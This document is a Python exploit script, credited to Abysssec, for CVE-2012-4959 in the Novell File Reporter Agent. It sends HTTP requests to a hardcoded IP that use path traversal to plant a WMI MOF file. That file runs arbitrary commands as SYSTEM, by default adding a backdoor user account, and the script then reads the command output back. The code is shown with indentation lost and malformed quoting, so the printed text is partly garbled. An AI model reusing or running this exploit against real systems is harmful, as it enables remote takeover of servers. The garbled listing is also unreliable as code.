 # wwww.abysssec.com
# Novell File Reporter Agent XML Parsing Remote Code Execution Vulnerability (0day)
# CVE-2012-4959
# @abysssec
# well just one more of our 0day got published after ~2 year
# here is info : https://community.rapid7.com/community/metasploit/blog/2012/11/16/nfr-agent-buffer-vulnerabilites-cve-2012-4959
# and here is our exploit
import httplib, md5, sys
def message_MD5(arg):
v = "SRS" + arg + "SERVER"
m = md5.new(v)
return m.hexdigest()
def genMof(command="net user abysssec 123456 /add"):
vbs = ""
vbs += ""Set objShell = CreateObject(\"WScript.Shell\")\n"n"
vbs += ""objShell.Run \"cmd.exe /C "
vbs += command
vbs += "\"""
mof = """
#pragma namespace ("\\\\.\\root\\subscription")
#pragma deleteclass("MyASEventConsumer", nofail)
#pragma deleteinstance("__EventFilter.Name=\"EF\"", nofail)
#pragma deleteinstance("ActiveScriptEventConsumer.Name=\"ASEC\"", nofail)
class MyASEventConsumer
{
[key]string Name;
};
instance of ActiveScriptEventConsumer as $CONSUMER
{
CreatorSID = {1,2,0,0,0,0,0,5,32,0,0,0,32,2,0,0};
Name = "ASEC";
ScriptingEngine = "VBScript";
ScriptText =
SCRIPT;
};
instance of __EventFilter as $FILTER
{
CreatorSID = {1,2,0,0,0,0,0,5,32,0,0,0,32,2,0,0};
Name = "EF";
Query = "SELECT * FROM __InstanceCreationEvent"
" WHERE TargetInstance.__class = \"MyASEventConsumer\"";
QueryLanguage = "WQL";
};
instance of __FilterToConsumerBinding as $BINDING
{
CreatorSID = {1,2,0,0,0,0,0,5,32,0,0,0,32,2,0,0};
Filter = $FILTER;
Consumer = $CONSUMER;
};
instance of MyASEventConsumer
{
Name = "Trigger";
};
""".replace('SCRIPT',vbs)
return mof
def main(argv=None):
if argv is None:
argv = sys.argv
if len(argv) != 2:
print "[!] USAGE : mof "<command]>""
return
msg = "<ROOT><NAME>FSFUI</NAME><UICMD>130</UICMD><TOKEN><FILE>../../../../../../Windows/system32/wbem/mof/command.mof</FILE></TOKEN><![CDATA["
msg += genMof(argv[1] + "> C:/Windows/System32/info.dat")
msg += "]]></ROOT>"
body = message_MD5(msg).upper() + msg
headers = {"Content-type": "text/xml"}
conn = httplib.HTTPSConnection("192.168.10.20:3037")
conn.request("POST", "/SRS/CMD",body, headers)
response = conn.getresponse()
print "n...Command Executed ..."
print response.status, response.reason
print response.read()
msg = "<ROOT><NAME>FSFUI</NAME><UICMD>126</UICMD><TOKEN><FILE>../../../../../../WINDOWS/system32/info.dat</FILE></TOKEN></ROOT>"
body = message_MD5(msg).upper() + msg
conn.request("POST", "/SRS/CMD",body, headers)
response = conn.getresponse()
conn.request("POST", "/SRS/CMD",body, headers)
response = conn.getresponse()
print "n...Getting result ..."
print response.status, response.reason
print response.read()
conn.close()
if __name__ == "__main__":
main()
 
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